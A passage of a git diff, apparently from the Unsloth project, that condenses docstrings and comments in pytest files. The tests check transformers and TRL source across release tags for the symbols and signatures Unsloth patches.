-  unsloth-zoo#488 Gemma3 + Gemma3N transformers 5.x
-  unsloth-zoo#472 ModernBERT, gpt_oss MoE unwrap, SFTTrainer skip_prepare_dataset
-  unsloth-zoo#393 PushToHubMixin._create_repo removed in v5
-  unsloth-zoo#388 generation_config attribute removed for non-gen models in v5
-  unsloth-zoo#583/584 PIL _Ink ImportError (Unpack import guard)
-  unsloth-zoo#159  cross_entropy_replacement_2 num_items_in_batch fallback
-
-Strategy: GitHub raw-fetch + grep / source-fingerprint. CPU-only, no
-install. Runs PR-time + daily cron.
-
-Anchor versions (must work forwards/backwards-compat per project spec):
-  transformers 4.57.6, 5.5.0
+Catches breakage classes from unsloth#3998/5036/5155/5259 and
+unsloth-zoo#572/571/549/543/541/495/491/488/472/393/388/583/584/159.
+CPU-only, no install. Anchor versions: transformers 4.57.6, 5.5.0.
 """
 
 from __future__ import annotations
@@ -38,8 +16,7 @@ import pytest
 from tests.version_compat._fetch import fetch_text, first_match, has_def
 
 
-# Stable transformers from 4.57.6 floor onwards + main. The breakage
-# windows we care about are 4.57.6, then every 5.x minor since 5.0.0.
+# 4.57.6 floor + every 5.x minor since 5.0.0 + main.
 TRANSFORMERS_TAGS = [
     "v4.57.6",  # anchor (must work)
     "v5.0.0",
@@ -56,16 +33,12 @@ TRANSFORMERS_TAGS = [
 ]
 
 
-# =========================================================================
-# Trainer surface — the largest failure class. unsloth/models/_utils.py
-# rewrites Trainer.{__init__, training_step, get_batch_samples, compute_loss}.
-# =========================================================================
+# Trainer surface: unsloth/models/_utils.py rewrites Trainer.{__init__, training_step, get_batch_samples, compute_loss}.
 
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_trainer_class_importable_path(tag: str):
-    """transformers.Trainer must remain at src/transformers/trainer.py
-    or src/transformers/trainer/__init__.py."""
+    """transformers.Trainer must remain at trainer.py or trainer/__init__.py."""
     candidates = ["src/transformers/trainer.py", "src/transformers/trainer/__init__.py"]
     hit = first_match("huggingface/transformers", tag, candidates)
     assert hit is not None, f"{tag}: src/transformers/trainer[.py|/__init__.py] both missing"
@@ -75,13 +48,11 @@ def test_trainer_class_importable_path(tag: str):
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_trainer_compute_loss_num_items_in_batch_param(tag: str):
-    """unsloth-zoo#159 + unsloth#4998 + #4616: Trainer.compute_loss
-    must accept num_items_in_batch kwarg. transformers 4.46+ added it."""
+    """unsloth-zoo#159 + unsloth#4998 + #4616: Trainer.compute_loss must accept num_items_in_batch kwarg."""
     candidates = ["src/transformers/trainer.py", "src/transformers/trainer/__init__.py"]
     hit = first_match("huggingface/transformers", tag, candidates)
     assert hit is not None
     _, src = hit
-    # Find the compute_loss signature - it's a class method, indented.
     m = re.search(r"^\s*def compute_loss\(([^)]*)\)", src, re.MULTILINE | re.DOTALL)
     if m is None:
         pytest.fail(f"{tag}: Trainer.compute_loss not found in source")
@@ -93,9 +64,7 @@ def test_trainer_compute_loss_num_items_in_batch_param(tag: str):
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_trainer_training_step_grad_accum_pattern(tag: str):
-    """unsloth#3598 monkey-patches Trainer.training_step source; the
-    rewrite needs four substrings to be present. Drift here = silent
-    no-op = double-scale loss bug."""
+    """unsloth#3598 patches Trainer.training_step source; drift = silent no-op = double-scale loss bug."""
     candidates = ["src/transformers/trainer.py", "src/transformers/trainer/__init__.py"]
     hit = first_match("huggingface/transformers", tag, candidates)
     assert hit is not None
@@ -106,8 +75,7 @@ def test_trainer_training_step_grad_accum_pattern(tag: str):
         "self.accelerator.backward(loss",
     )
     missing = [s for s in needed if s not in src]
-    # Hard-fail only when ALL substrings missing — partial drift is
-    # informational. Note: the third one's exact form may vary slightly.
+    # Hard-fail only when ALL substrings missing; partial drift is informational.
     if len(missing) == len(needed):
         pytest.fail(
             f"{tag}: Trainer.training_step has none of the grad-accum "
@@ -118,8 +86,7 @@ def test_trainer_training_step_grad_accum_pattern(tag: str):
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_trainer_get_batch_samples_returns_num_items(tag: str):
-    """unsloth-zoo loss_utils.py:241 replaces Trainer.get_batch_samples;
-    upstream signature must end `return batch_samples, num_items_in_batch`."""
+    """unsloth-zoo loss_utils.py:241 replaces Trainer.get_batch_samples; must keep the num_items_in_batch return."""
     candidates = ["src/transformers/trainer.py", "src/transformers/trainer/__init__.py"]
     hit = first_match("huggingface/transformers", tag, candidates)
     assert hit is not None
@@ -133,19 +100,14 @@ def test_trainer_get_batch_samples_returns_num_items(tag: str):
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_trainer_inner_training_loop_inplace_loss_v5(tag: str):
-    """unsloth-zoo#543: transformers 5.0+ changed
-    `tr_loss = tr_loss + tr_loss_step` (out-of-place) to
-    `self._tr_loss += tr_loss_step` (in-place). Loss tensor shape
-    requirements differ. Snapshot which form is in source."""
+    """unsloth-zoo#543: transformers 5.0+ switched out-of-place tr_loss add to in-place `self._tr_loss +=`."""
     candidates = ["src/transformers/trainer.py", "src/transformers/trainer/__init__.py"]
     hit = first_match("huggingface/transformers", tag, candidates)
     assert hit is not None
     _, src = hit
     has_inplace = "self._tr_loss +=" in src
     has_outplace = "tr_loss = tr_loss + tr_loss_step" in src
-    # On 4.57.6, only out-of-place. On 5.x, in-place. We just assert
-    # ONE of them is present so a future refactor that drops both is
-    # caught.
+    # Assert ONE form is present so a refactor dropping both is caught.
     assert has_inplace or has_outplace, (
         f"{tag}: Trainer._inner_training_loop has neither "
         f"`tr_loss = tr_loss + tr_loss_step` nor `self._tr_loss +=`; "
@@ -153,16 +115,12 @@ def test_trainer_inner_training_loop_inplace_loss_v5(tag: str):
     )
 
 
-# =========================================================================
-# modeling_utils — checkpoint, PushToHubMixin, ALL_ATTENTION_FUNCTIONS.
-# =========================================================================
+# modeling_utils: checkpoint, PushToHubMixin, ALL_ATTENTION_FUNCTIONS.
 
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_modeling_utils_exposes_checkpoint(tag: str):
-    """unsloth-zoo#549: transformers 5.2+ uses `transformers.modeling_utils.checkpoint`
-    (alias for torch.utils.checkpoint.checkpoint). Patch must replace
-    the transformers reference, not just torch's."""
+    """unsloth-zoo#549: transformers 5.2+ uses modeling_utils.checkpoint; patch must replace it, not just torch's."""
     src = fetch_text("huggingface/transformers", tag, "src/transformers/modeling_utils.py")
     if src is None:
         pytest.skip(f"{tag}: modeling_utils.py missing")
@@ -184,20 +142,16 @@ def test_modeling_utils_exposes_checkpoint(tag: str):
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_pushtohubmixin_create_repo_status(tag: str):
-    """unsloth-zoo#393: transformers 5.x removed PushToHubMixin._create_repo.
-    On 4.x present, on 5.x absent. Snapshot which side."""
+    """unsloth-zoo#393: transformers 5.x removed PushToHubMixin._create_repo; snapshot which side."""
     src = fetch_text("huggingface/transformers", tag, "src/transformers/modeling_utils.py")
     if src is None:
         pytest.skip(f"{tag}: modeling_utils.py missing")
-    # Just record the presence; either is OK as long as we know.
     has_create = bool(re.search(r"def _create_repo\b", src) or "_create_repo" in src)
-    # Informational only — both branches are tracked.
+    # Informational only.
     _ = has_create
 
 
-# =========================================================================
-# integrations.bitsandbytes — _replace_with_bnb_linear vs new path.
-# =========================================================================
+# integrations.bitsandbytes: _replace_with_bnb_linear vs new path.
 
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
@@ -214,9 +168,7 @@ def test_integrations_bitsandbytes_module_present(tag: str):
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_quantizers_should_convert_module_signature(tag: str):
-    """unsloth-zoo#491/#488: 5.x moved is_replaceable to
-    quantizers_utils.should_convert_module(full_name, patterns).
-    Snapshot whether function exists and its substring-match form."""
+    """unsloth-zoo#491/#488: 5.x moved is_replaceable to quantizers_utils.should_convert_module; snapshot its form."""
     src = fetch_text(
         "huggingface/transformers",
         tag,
@@ -226,23 +178,18 @@ def test_quantizers_should_convert_module_signature(tag: str):
         pytest.skip(f"{tag}: quantizers/quantizers_utils.py missing")
     if not has_def(src, "should_convert_module", "func"):
         pytest.skip(f"{tag}: should_convert_module not yet present (4.x)")
-    # The bug we want to catch: substring matching uses `.{key}.` in
-    # `.{full_name}.` form. Patch only fires when this substring is
-    # in source AND mismatch behaviour exists.
+    # Catch substring matching in `.{key}.` form.
     has_dot_form = ".{key}." in src or "f'.{key}.'" in src or 'f".{key}."' in src
     # Informational only.
     _ = has_dot_form
 
 
-# =========================================================================
-# integrations.finegrained_fp8.FP8Linear — bias/has_bias rename in v5.
-# =========================================================================
+# integrations.finegrained_fp8.FP8Linear: bias/has_bias rename in v5.
 
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_fp8linear_init_param_names(tag: str):
-    """unsloth-zoo#572: transformers 5.x renamed FP8Linear.__init__
-    `bias` -> `has_bias`. Snapshot which form is in source."""
+    """unsloth-zoo#572: transformers 5.x renamed FP8Linear.__init__ `bias` -> `has_bias`."""
     src = fetch_text(
         "huggingface/transformers",
         tag,
@@ -259,15 +206,12 @@ def test_fp8linear_init_param_names(tag: str):
     ), f"{tag}: FP8Linear.__init__ has neither `bias` nor `has_bias` param"
 
 
-# =========================================================================
-# processing_utils — Unpack importable.
-# =========================================================================
+# processing_utils: Unpack importable.
 
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_processing_utils_unpack_importable(tag: str):
-    """unsloth-zoo#583/584: `from transformers.processing_utils import Unpack`
-    must keep working."""
+    """unsloth-zoo#583/584: transformers.processing_utils.Unpack must keep importing."""
     src = fetch_text("huggingface/transformers", tag, "src/transformers/processing_utils.py")
     if src is None:
         pytest.skip(f"{tag}: processing_utils.py missing")
@@ -278,9 +222,7 @@ def test_processing_utils_unpack_importable(tag: str):
     )
 
 
-# =========================================================================
-# Models — gemma3, gpt_oss forward signature drift.
-# =========================================================================
+# Models: gemma3, gpt_oss forward signature drift.
 
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
@@ -307,16 +249,12 @@ def test_gpt_oss_model_forward_present(tag: str):
     assert has_def(src, "GptOssModel", "class"), f"{tag}: class GptOssModel missing"
 
 
-# =========================================================================
-# auto_factory — unsloth#5155 _LazyAutoMapping private API.
-# =========================================================================
+# auto_factory: unsloth#5155 _LazyAutoMapping private API.
 
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_auto_factory_lazy_mapping_private_api(tag: str):
-    """unsloth#5155: resolve_model_class iterates private attrs of
-    _LazyAutoMapping (_model_mapping, _config_mapping, _extra_content,
-    _load_attr_from_module). All four must remain."""
+    """unsloth#5155: resolve_model_class needs all four _LazyAutoMapping private attrs to remain."""
     src = fetch_text(
         "huggingface/transformers",
         tag,
@@ -337,15 +275,12 @@ def test_auto_factory_lazy_mapping_private_api(tag: str):
     )
 
 
-# =========================================================================
-# configuration_utils — PreTrainedConfig vs PretrainedConfig in 5.x.
-# =========================================================================
+# configuration_utils: PreTrainedConfig vs PretrainedConfig in 5.x.
 
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_configuration_utils_alias(tag: str):
-    """transformers 5.x renamed PretrainedConfig -> PreTrainedConfig.
-    unsloth-zoo/empty_model.py imports from both paths defensively."""
+    """transformers 5.x renamed PretrainedConfig -> PreTrainedConfig; unsloth-zoo imports both defensively."""
     src = fetch_text(
         "huggingface/transformers",
         tag,
@@ -361,16 +296,12 @@ def test_configuration_utils_alias(tag: str):
     )
 
 
-# =========================================================================
-# tokenization — apply_chat_template return_dict default flip in v5.
-# =========================================================================
+# tokenization: apply_chat_template return_dict default flip in v5.
 
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_apply_chat_template_signature_present(tag: str):
-    """unsloth-zoo#572: PreTrainedTokenizerBase.apply_chat_template
-    `return_dict` default flipped False -> True in transformers 5.x.
-    Snapshot which is in source."""
+    """unsloth-zoo#572: apply_chat_template `return_dict` default flipped False -> True in transformers 5.x."""
     src = fetch_text(
         "huggingface/transformers",
         tag,
@@ -383,16 +314,12 @@ def test_apply_chat_template_signature_present(tag: str):
     ), f"{tag}: apply_chat_template missing in tokenization_utils_base.py"
 
 
-# =========================================================================
-# Generic-importability sweep — every symbol unsloth/zoo imports
-# from transformers must remain reachable via at least one known path.
-# =========================================================================
+# Generic-importability sweep: every transformers symbol unsloth/zoo imports must stay reachable.
 
 
 @pytest.mark.parametrize("tag", TRANSFORMERS_TAGS)
 def test_modeling_attn_mask_utils_symbols(tag: str):
-    """_prepare_4d_attention_mask_for_sdpa is imported by
-    unsloth/models/llama.py + sentence_transformer.py."""
+    """_prepare_4d_attention_mask_for_sdpa is imported by unsloth/models/llama.py + sentence_transformer.py."""
     src = fetch_text(
         "huggingface/transformers",
         tag,
@@ -401,7 +328,6 @@ def test_modeling_attn_mask_utils_symbols(tag: str):
     if src is None:
         pytest.skip(f"{tag}: modeling_attn_mask_utils.py missing")
     assert has_def(src, "AttentionMaskConverter", "class"), f"{tag}: AttentionMaskConverter missing"
-    # _prepare_4d_attention_mask_for_sdpa is a function we hard-import.
     assert (
         has_def(src, "_prepare_4d_attention_mask_for_sdpa", "func")
         or "_prepare_4d_attention_mask_for_sdpa" in src
diff --git a/tests/version_compat/test_trl_grpo_pinned_symbols.py b/tests/version_compat/test_trl_grpo_pinned_symbols.py
index f84a4fd669..834692e2dd 100644
--- a/tests/version_compat/test_trl_grpo_pinned_symbols.py
+++ b/tests/version_compat/test_trl_grpo_pinned_symbols.py
@@ -1,36 +1,13 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team.
-"""Pinned-symbol compat check across all TRL PyPI minor versions
-unsloth + unsloth-zoo target. Catches API drift like:
+"""Pinned-symbol compat check across all TRL PyPI minors unsloth + unsloth-zoo target.
 
-  - trl 0.18 split DataCollatorForPreference into trl.trainer.dpo_trainer
-    (was trl.trainer.utils). unsloth.models.rl_replacements:318 imports
-    the post-split path; if a new TRL release moves it again, the
-    GRPOTrainer.compile cell crashes with ImportError.
-  - trl 0.20 introduced trl.experimental.openenv as a *gated* module;
-    unsloth.models.rl_replacements:1765-1770 catches ImportError, but
-    the gate must remain importable when present.
-  - trl 0.22 introduced trl.generation.vllm_generation for the
-    server-mode fast_inference path; unsloth.models.rl_replacements
-    :1846-1848 catches ImportError, but the module must exist on
-    versions where unsloth-zoo's vllm_utils dispatches to it.
-  - trl unwrap_model_for_generation moved from trl.models to
-    trl.models.utils across releases (unsloth/models/rl.py:152-155
-    handles both with try/except).
-  - trl GRPOTrainer / GRPOConfig must remain top-level exports for
-    `from trl import GRPOTrainer` to work in user code, which is what
-    `_patch_trl_rl_trainers("grpo_trainer")` discovers.
-
-Strategy: for each tracked TRL tag, fetch the relevant source files
-straight from github.com/huggingface/trl (no pip install required) and
-assert that every symbol unsloth/unsloth-zoo's RL surface depends on
-is present.
-
-Versioning policy: cover the supported window declared in
-pyproject.toml (`trl>=0.18.2,!=0.19.0,<=0.24.0`) PLUS several recent
-releases ABOVE the cap, so we get early warning when TRL ships
-something incompatible and the maintainer can extend the cap or add a
-patch BEFORE a user hits it.
+Catches RL-surface API drift (DataCollatorForPreference relocation,
+gated openenv/vllm_generation modules, unwrap_model_for_generation
+moves, top-level GRPO exports). Fetches TRL source per tag straight from
+github (no pip install) and asserts every depended-on symbol is present,
+covering the pyproject window plus several releases above the cap for
+early warning.
 """
 
 from __future__ import annotations
@@ -42,20 +19,10 @@ import pytest
 from tests.version_compat._fetch import fetch_text, first_match, has_def
 
 
-# Every stable TRL release from 0.18.2 (the pyproject floor) onwards,
-# plus `main`. Refresh by running:
-#   python -c "import urllib.request,json
-#   from packaging.version import Version
-#   r=json.loads(urllib.request.urlopen('https://pypi.org/pypi/trl/json').read())
-#   v=sorted([Version(x) for x in r['releases'] if r['releases'][x] and not Version(x).is_prerelease and Version(x)>=Version('0.18.2')])
-#   print(*[f'\"v{x}\",' for x in v],sep='\n')"
-#
-# 0.19.0 is excluded by pyproject (`!=0.19.0`) — the release was
-# broken; we keep it in the matrix so we KNOW it's broken (and which
-# symbols specifically), not just trust the pin.
-#
-# Anchors (per the project spec, ALL patches must stay forwards/
-# backwards compatible with these): 0.22.2, 0.27.1, 1.0.0.
+# Every stable TRL release from 0.18.2 (pyproject floor) onwards, plus `main`.
+# 0.19.0 is pyproject-excluded (broken) but kept here so we know exactly
+# which symbols break. Anchors all patches stay compatible with: 0.22.2,
+# 0.27.1, 1.0.0.
 TRL_TAGS = [
     "v0.18.2",
     "v0.19.0",
@@ -88,14 +55,12 @@ TRL_TAGS = [
 ]
 
 
-# HARD-import top-level: from trl import X must keep working for these.
-# unsloth/trainer.py + unsloth/models/rl.py rebind these by name.
+# unsloth/trainer.py + unsloth/models/rl.py rebind these top-level names.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_top_level_grpo_sft(tag: str):
-    """`from trl import GRPOTrainer, GRPOConfig, SFTTrainer, SFTConfig`
-    must keep resolving at the package root."""
+    """GRPO/SFT Trainer+Config must resolve at the trl package root."""
     src = fetch_text("huggingface/trl", tag, "trl/__init__.py")
     assert src is not None, f"trl/__init__.py missing in {tag}"
     for name in ("GRPOTrainer", "GRPOConfig", "SFTTrainer", "SFTConfig"):
@@ -105,8 +70,8 @@ def test_trl_top_level_grpo_sft(tag: str):
         )
 
 
-# trl.trainer.grpo_trainer.GRPOTrainer -- the canonical class. unsloth's
-# RL patcher discovers it via `eval(f"trl.trainer.{trainer_file}.{name}")`
+# trl.trainer.grpo_trainer.GRPOTrainer -- canonical class. unsloth's RL
+# patcher discovers it via `eval(f"trl.trainer.{trainer_file}.{name}")`
 # in unsloth/models/rl.py:548-594.
 
 
@@ -124,9 +89,7 @@ def test_grpo_trainer_class_canonical_path(tag: str):
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_grpo_config_class_canonical_path(tag: str):
-    """unsloth/models/rl.py:579-618 looks for the *Config sibling of the
-    Trainer class via heuristic discovery; the canonical one is in
-    grpo_config.py."""
+    """GRPOConfig must be discoverable by the *Config heuristic in rl.py:579-618."""
     candidates = ["trl/trainer/grpo_config.py", "trl/trainer/grpo_trainer.py"]
     hit = first_match("huggingface/trl", tag, candidates)
     assert hit is not None, f"{tag}: neither grpo_config.py nor grpo_trainer.py found"
@@ -137,17 +100,13 @@ def test_grpo_config_class_canonical_path(tag: str):
     )
 
 
-# DataCollatorForPreference: unsloth.models.rl_replacements:318 hard-imports
-# from trl.trainer.dpo_trainer. Some old TRL versions had it in
-# trl.trainer.utils; modern ones moved to trl.trainer.dpo_trainer.
+# DataCollatorForPreference: rl_replacements.py:318 hard-imports from
+# trl.trainer.dpo_trainer (old TRL had it in trl.trainer.utils).
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_data_collator_for_preference_resolvable(tag: str):
-    """Either the new path (trl.trainer.dpo_trainer) or the old path
-    (trl.trainer.utils) must define DataCollatorForPreference. unsloth's
-    string-emitted import in rl_replacements.py:318 uses dpo_trainer;
-    if neither path resolves, we have a gap."""
+    """DataCollatorForPreference must exist in dpo_trainer or utils (rl_replacements.py:318 imports it)."""
     new_path = fetch_text("huggingface/trl", tag, "trl/trainer/dpo_trainer.py")
     old_path = fetch_text("huggingface/trl", tag, "trl/trainer/utils.py")
     have = []
@@ -170,8 +129,7 @@ def test_data_collator_for_preference_resolvable(tag: str):
 def test_trl_trainer_utils_pad(tag: str):
     src = fetch_text("huggingface/trl", tag, "trl/trainer/utils.py")
     if src is None:
-        # Some TRL versions split utils into a package; check the
-        # alternative location.
+        # Some TRL versions split utils into a package.
         src = fetch_text("huggingface/trl", tag, "trl/trainer/utils/__init__.py")
     assert src is not None, f"{tag}: trl/trainer/utils[.py|/__init__.py] both missing"
     assert has_def(src, "pad", "func") or "def pad(" in src, (
@@ -188,11 +146,7 @@ def test_trl_trainer_utils_pad(tag: str):
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_unwrap_model_for_generation_either_path(tag: str):
-    """unsloth/models/rl.py:152-155 tries
-    `trl.models.utils.unwrap_model_for_generation` first, then
-    `trl.models.unwrap_model_for_generation`. Tests must mirror the
-    prod fallback exactly — checking a third path makes the test
-    laxer than the runtime."""
+    """unwrap_model_for_generation must resolve via one of the two paths rl.py:152-155 tries (mirror prod exactly)."""
     candidates = [
         "trl/models/utils.py",
         "trl/models/__init__.py",
@@ -209,19 +163,17 @@ def test_unwrap_model_for_generation_either_path(tag: str):
     )
 
 
-# trl.experimental.openenv: gated import (rl_replacements.py:1765-1770
-# wraps in try/except). When present, must export the symbols unsloth
-# patches.
+# trl.experimental.openenv: gated import (rl_replacements.py:1765-1770).
+# When present, must export the symbols unsloth patches.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_experimental_openenv_gated(tag: str):
     src = fetch_text("huggingface/trl", tag, "trl/experimental/openenv/__init__.py")
     if src is None:
-        # OK: feature not in this release; unsloth's try/except handles it.
         pytest.skip(f"{tag}: trl.experimental.openenv not present (OK)")
-    # Module exists -> at minimum, `utils` submodule must be importable
-    # because unsloth patches via `import trl.experimental.openenv.utils`.
+    # Module exists -> utils submodule must be importable (unsloth patches
+    # via `import trl.experimental.openenv.utils`).
     utils_src = fetch_text("huggingface/trl", tag, "trl/experimental/openenv/utils.py")
     assert utils_src is not None, (
         f"{tag}: trl.experimental.openenv exists but utils.py missing; "
@@ -230,20 +182,16 @@ def test_trl_experimental_openenv_gated(tag: str):
 
 
 # trl.generation.vllm_generation: gated import for the fast_inference
-# server mode (rl_replacements.py:1846-1848). When present, must define
-# at least one symbol unsloth patches against.
+# server mode (rl_replacements.py:1846-1848).
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_generation_vllm_generation_gated(tag: str):
-    """unsloth/models/rl_replacements.py:1851-1971 string-rewrites
-    `VLLMGeneration._init_vllm`, `.sync_weights`, and `.generate`. If
-    VLLMGeneration is renamed or any of those three methods disappear,
-    the rewrite silently no-ops and the fast_inference server path
-    breaks at runtime. Gated: skip if the module isn't in this TRL."""
+    """VLLMGeneration + its _init_vllm/sync_weights/generate methods must
+    exist when the module is present, else rl_replacements.py:1851-1971
+    rewrites silently no-op and the server fast_inference path breaks."""
     src = fetch_text("huggingface/trl", tag, "trl/generation/vllm_generation.py")
     if src is None:
-        # OK: pre-server-mode TRL. unsloth's try/except handles absence.
         pytest.skip(f"{tag}: trl.generation.vllm_generation not present (OK)")
     assert has_def(src, "VLLMGeneration", "class"), (
         f"{tag}: class VLLMGeneration missing; unsloth-zoo dispatch "
@@ -256,21 +204,15 @@ def test_trl_generation_vllm_generation_gated(tag: str):
         )
 
 
-# Sanity: TRL's __version__ string is parseable. unsloth/models/rl.py:63
-# does `from trl import __version__ as trl_version_raw` and string-
-# matches on it.
+# TRL's __version__ must be parseable; rl.py:63 string-matches it.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_version_parseable(tag: str):
     src = fetch_text("huggingface/trl", tag, "trl/__init__.py")
     assert src is not None
-    # Recognised mechanisms (any one is sufficient):
-    #   1. literal `__version__ = "x.y.z"` at module scope
-    #   2. `from .version import __version__`
-    #   3. `__version__ = version("trl")` via importlib.metadata
-    #   4. `__version__ = f.read().strip()` (TRL 0.22.x reads from a
-    #      sibling VERSION file)
+    # Any one mechanism suffices: literal, `from .version import`,
+    # importlib.metadata version(), or reading a sibling VERSION file.
     has_literal = bool(re.search(r'^__version__\s*=\s*["\']', src, re.MULTILINE))
     has_subimport = bool(re.search(r"^from\s+\.version\s+import\s+__version__", src, re.MULTILINE))
     has_metadata = bool(
@@ -291,8 +233,8 @@ def test_trl_version_parseable(tag: str):
     )
 
 
-# Coverage extension (added 2026-05): symbols / source-string contracts
-# unsloth + unsloth-zoo touch but the original suite missed.
+# Coverage extension (added 2026-05): symbols/source-string contracts
+# unsloth + unsloth-zoo touch that the original suite missed.
 
 
 # 1. trl.is_conversational — soft import in unsloth-zoo dataset_utils.
@@ -303,34 +245,29 @@ def test_trl_is_conversational_export(tag: str):
     src = fetch_text("huggingface/trl", tag, "trl/__init__.py")
     assert src is not None
     if "is_conversational" not in src:
-        # Some old TRLs omit it; gated soft import in unsloth-zoo
-        # falls back to a local impl. OK.
+        # Old TRLs omit it; unsloth-zoo's gated soft import falls back.
         pytest.skip(f"{tag}: trl.is_conversational not exported (legacy TRL)")
 
 
-# 2-4. trl.trainer.sft_trainer module surface used by unsloth tokenizer
-#      utils + tests.
+# 2-4. trl.trainer.sft_trainer surface used by unsloth tokenizer utils + tests.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_sft_trainer_module_internals(tag: str):
-    """unsloth/tokenizer_utils.py:1538 does `from trl.trainer.sft_trainer
-    import *`. The symbols below must exist for the wildcard import +
-    eval-discovery to keep working."""
+    """sft_trainer symbols for the `from trl.trainer.sft_trainer import *` at tokenizer_utils.py:1538."""
     src = fetch_text("huggingface/trl", tag, "trl/trainer/sft_trainer.py")
     assert src is not None, (
         f"{tag}: trl/trainer/sft_trainer.py missing; "
         f"unsloth/tokenizer_utils.py:1538 wildcard import fails"
     )
     assert has_def(src, "SFTTrainer", "class"), f"{tag}: class SFTTrainer missing in sft_trainer.py"
-    # neftune_post_forward_hook: optional (TRL removed it in some
-    # versions); soft-imported in tokenizer_utils.py:1542. Don't fail.
+    # neftune_post_forward_hook: optional, soft-imported in tokenizer_utils.py:1542.
     if "neftune_post_forward_hook" not in src:
         pass
 
 
-# 5-6. trl.trainer.dpo_trainer module + MODEL_FOR_VISION_2_SEQ_MAPPING_NAMES
-#      — patched by unsloth-zoo/temporary_patches/misc.py:1376-1379.
+# 5-6. trl.trainer.dpo_trainer + MODEL_FOR_VISION_2_SEQ_MAPPING_NAMES,
+#      patched by unsloth-zoo/temporary_patches/misc.py:1376-1379.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
@@ -343,9 +280,8 @@ def test_trl_dpo_trainer_module_exists(tag: str):
     assert has_def(src, "DPOTrainer", "class"), f"{tag}: class DPOTrainer missing in dpo_trainer.py"
 
 
-# 7. trl.trainer.utils.ConstantLengthDataset — soft import in
-#    unsloth-zoo/dataset_utils.py:596. Optional (TRL 0.20.0 removed it
-#    on some paths).
+# 7. trl.trainer.utils.ConstantLengthDataset — optional soft import in
+#    unsloth-zoo/dataset_utils.py:596 (TRL 0.20.0 removed it on some paths).
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
@@ -364,19 +300,17 @@ def test_trl_constant_length_dataset_optional(tag: str):
         )
 
 
-# 8. trl.models.utils.disable_gradient_checkpointing — added in TRL
-#    1.0.0+. unsloth/models/rl.py:1976-1994 uses hasattr() for gating;
-#    we still want the assertion that the symbol exists from 1.0.0
-#    onwards so a future removal gets caught.
+# 8. trl.models.utils.disable_gradient_checkpointing — added in TRL 1.0.0+.
+#    rl.py:1976-1994 gates via hasattr(); assert the symbol exists from
+#    1.0.0 onwards so a future removal gets caught.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_models_utils_disable_gradient_checkpointing(tag: str):
     if tag == "main":
-        # main is bleeding edge; expect symbol to track 1.0.0+ behaviour.
+        # main is bleeding edge; expect 1.0.0+ behaviour.
         require = True
     else:
-        # Strip leading 'v' and parse.
         try:
             from packaging.version import Version
             require = Version(tag.lstrip("v")) >= Version("1.0.0")
@@ -395,9 +329,8 @@ def test_trl_models_utils_disable_gradient_checkpointing(tag: str):
         )
 
 
-# 9. trl.import_utils + the `_*_available` cache pattern — used by
-#    unsloth/import_fixes.py:508-516 to clear cached `is_X_available`
-#    booleans so vllm-ascend imports work.
+# 9. trl.import_utils `_*_available` cache pattern — import_fixes.py:508-516
+#    clears these cached booleans so vllm-ascend imports work.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
@@ -410,9 +343,8 @@ def test_trl_import_utils_available_pattern(tag: str):
     if hit is None:
         pytest.skip(f"{tag}: trl/import_utils not present (legacy TRL)")
     _, src = hit
-    # The patch iterates `vars(trl.import_utils)` looking for any name
-    # ending in `_available`. At least one such cache var must exist or
-    # the patch silently no-ops.
+    # import_fixes iterates vars(trl.import_utils) for `*_available` names;
+    # at least one must exist or the patch silently no-ops.
     has_pattern = bool(re.search(r"\b\w+_available\b", src))
     assert has_pattern, (
         f"{tag}: trl.import_utils has no `_available` cache var; "
@@ -420,9 +352,8 @@ def test_trl_import_utils_available_pattern(tag: str):
     )
 
 
-# 10. trl.experimental.openenv.utils generators — at least one of the
-#     two function names must exist (unsloth/models/rl_replacements.py
-#     :1775-1781 calls getattr() to find one).
+# 10. trl.experimental.openenv.utils generators — one of the two function
+#     names must exist (rl_replacements.py:1775-1781 getattr()s for one).
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
@@ -439,22 +370,18 @@ def test_trl_openenv_utils_generators(tag: str):
     )
 
 
-# 11-16. GRPOTrainer required method names. unsloth/models/rl_replacements
-#        .py uses function_name == "..." dispatch keys; if a method is
-#        renamed, the patch silently doesn't apply. List of methods is
-#        the precise dispatch key set.
+# 11-16. GRPOTrainer required method names. rl_replacements.py dispatches
+#         on function_name == "..."; a renamed method silently skips the patch.
 
 
 @pytest.mark.parametrize("tag", TRL_TAGS)
 def test_trl_grpo_trainer_required_methods(tag: str):
-    """Method names unsloth string-rewrites against. Drift here
-    silently skips the rewrite. _get_per_token_logps was renamed to
-    _get_per_token_logps_and_entropies in TRL 0.20+; either is fine
-    since unsloth dispatches by function_name."""
